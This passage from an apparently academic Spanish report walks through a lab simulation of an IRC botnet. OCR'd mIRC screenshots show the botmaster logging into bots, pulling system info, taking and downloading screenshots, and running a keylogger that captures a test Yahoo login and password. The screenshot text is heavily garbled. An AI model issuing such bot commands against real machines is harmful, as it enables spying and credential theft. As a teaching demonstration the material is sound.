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it¢ mIRC - [#Zombies (server.simulacion. botnet, koko) [2] [+ nriTk kokoloko]] E'E'rE'
|jFi|e View Favorites Tools Commands Window Help - 8 x
Wi @ E 0Ll Al am BEORE|
[E% server.simulacion.... =[] #Zombies
- + Bkoko
=25 server,simulacion, botret ESP|57408
=I-£ Channel: 1
* Now talking in #Zombies
{@koko> .login lokokoko
<ESP|57498> -main- Passvword accepted.
{@Bkoko> .sysinfo
{ESP|57498> -sysinfo- CPU: 2133HHz. RAM: 523,76BKB total, 523,760KB
free. Disk: 8,377,864KB total, 1,750,036KB free. 0S: Windows XP
(Service Pack 2) (5.1, Build 2688). Sysdir: C:\WINDOWS\system32.
Hostname: eupnt {192 _168.1.24). Current User: EUPHT-user. Date:
2@8:Jan:2610. Time: 18:22:09. Dptime: 8d Bh 32m. ~
< 3

Figura 15: Comandos .login y .sysinfo.

2. En las siguientes capturas se demuestra realmente la infeccion del equipo C, se le
ordena que haga una impresion de pantalla y la guarde en su disco duro.

3. El paso siguiente es requerirle que nos envie dicha captura.
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s mIRC - [#Zombies (server.simulacion.botnet, koko) [ 2] [+ nriTk kokoloko]] |

File ‘Wiew Favoribes Tools Commands  iindow  Help

e EEHENLed AR 2BEDB|S

(24 serversimulacian.... | HZombies | —
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, B = MIRC DCC Get x|
- : i # | EBkoko
[=1-2Y server.simulacion.botnet ~ ESP|78785
=5 channel: 1 The user below is attempting to send you a file: I

Mick:  ESP|78785 (wyvxcsui@eupmt)

File:  pantallazo.jpg

Sizer 2,95 MB
[ Miniirmize window

Save As:
| Ci\Documents and SettingsiEUPMT-useriDal | |j|

* Now talking in #Zombies

<{@koko> .login lokokoko

<ESP|78785> -main- Password accepted.

{@koko> .capture screen c:\pantallazo.jpg

<ESP|78785> -capture- Screen capture saved to: c:\pantallazo.jpg.
{Bkoko> .get c:ypantallazo.jpg

=]

» mIRC - [47% Get ESP | 78785 vacas09. jpg] =]\
%Fila View Favorites Tools Commands ‘Window Help - |G| x

‘|| @@ EAB LA BEOB|

server simulacion #Zombies ESPIFE785 "g 78785 v... |

=24 server.simulacion.botnet | Receiving File
=13 Channel: 1 Fil:  vacas09.jpg
#Zombies Size:  2.95MB
Falder: C:ADocuments and Settings\EUPMT -userhD atas de programatml RChdownloads'
From: ESP[78785

’7
Rowd: 1,42 MB in 15 secs
Time left: 18 secs
Rate: 92.1 KB/Sec
Status:  Connection established
Receiving file

Cancel

|~

>

R
=[] Query: 1
E i 3.
=[] Transfer: 1
BB, 100% Get ESP|7¢

<ESP|78785> -dcc- send timeout
|<ESP|78785> -dcc- send timeout
|<ESP|78785> -dcc- file c:\vacas89.jpg sent to 192.168.1.25 (3,096,630 bytes).
<ESP|78785> -dcc- send timeout

Figura 16: Captura de pantalla y posterior envi6 de la misma desde el equipo B.
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4. La siguiente prueba inicia un proceso “keylogger”®® desde el equipo B mientras la
victima en el equipo C consulta su cuenta de correo, obteniendo el botmaster toda

la informacién de acceso a la cuenta.

{7 mIRC - [#Zombies (server.simulacion.botnet, koko) [2] [+nrtTk kokoloko]]

|:]Fi|e View Favorites Tools Commands  Window Help
Wi @B E 200 Lok A amBIB
(24 server simulacion. .. |:] HZombies
- - # | @Bkoko
=24 server simulacion.botnet ESP|78785
—I-{] Channel: 1
=8| #2ombiss
* Now talking in #Zombies
<Bkoko> .login lokokoko
{ESP|78785> -main- Password accepted.
<ikoko> .keylog
<@koko> .keylog on
<ESP|78785> -keylog- Key logger actiwve.
<ESP|78785> -keylog- (Changed Windows: HMenid Inicio)
{ESP|78785> -keylog- ({Changed Windows: )
<ESP|78785> -keylog- ({Changed Windows: Windows Internet Explorer)
<ESP|78785> -keylog- yahoo.com (Return) (EUPHT - Escola
Universitiria Politécnica de Matard - Window)
<ESP|78785> -keylog- valvalval222[CTRL]yahoo.com[TAB]12345678
(Return) (Correo electrdnico en Yahoo! Espafia - Windows Internet
Expl) v
3 3 |

Figura 17: Pruebas keylogger en equipo B.

83 Un keylogger (derivado del inglés: Key (tecla) y Logger (Registrador); registrador de teclas. Es un tipo de
software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un

fichero y/o enviarlas a través de internet.
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EBX

& (1 unread) Yahoo! Mail - Windows Internet Explorer

@.\~ > Bd |G! http: ffus.mc1140,mail. vahoo,comfmciwelcome?, gx=18.tm=12640126318.r V| || X | | R
Archivo  Edicidn  Yer Favoritos  Herramientas  Ayuda
—_— — ¥
T:? ke [G!(l unread) Yahao! Mail l l ﬁ - B -~ I;‘,“'Pégina = (L} Herramientas =
| R o ~
Hi, Val ™ | Sign Out | All-New Mail | Help ™ Today in Search: Haiti ! ‘Yahoo! 4 Mail E & @8 =
Orphans
iAHOO'.a MAIL IQ Search I Web Search
Classic
m Contacts Calendar Notepad What's New? - Mobile Mail - Options+
Check Mail | New | Q Iail Search Try the new Yahoo! Mail
ﬁ«g Y¥ahoo! Small Business Hello valvalval22! =
news B resources 0 Inbox (1) :
e BRING YO
FRIENDS 1
Folders [Add] THE FUN
3 Inbox (1) Today Select = ity o See the weather
[, Drafts . ) .
WORE i Buzr  Entertainment  Sports World
4 Sent
[ Spam [Empty] ¥ Brown: Mass_ victory sends "very powerful
[ Trash [Empty] message’ (AP)
) ) E» MOVE O
4 AP - Republican Scott Brown, fresh from a OTHER E
My Photos a stunning Massachusetts Senate victary that shook
Lal My Attachments the power balance on Capital Hill, declared
Wednesdav that his alectinon had sent a "wvere nowerful messane” that ™
< >

Figura 18: Acceso a correo durante keylog en equipo C.
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Durante la experiencia, no tan solo se ha comprobado la efectividad y sencillez del sistema

basado en IRC, sino también su fragilidad ante cualquier antivirus, o simplemente, la

activacion del firewall de Windows blogueando el puerto 6667 dejaba inhabilitada la

botnet.

Se trata de una herramienta utilizada en los inicios de las redes botnet, y que actualmente

es inofensiva, pero en la practica el resultado es mucho mas visual y enriquecedor que sus

predecesoras las botnet HTT

P 0 P2P.

Por otro lado, resulta preocupante, lo sencillo que ha resultado poner en marcha esta

simulacion.
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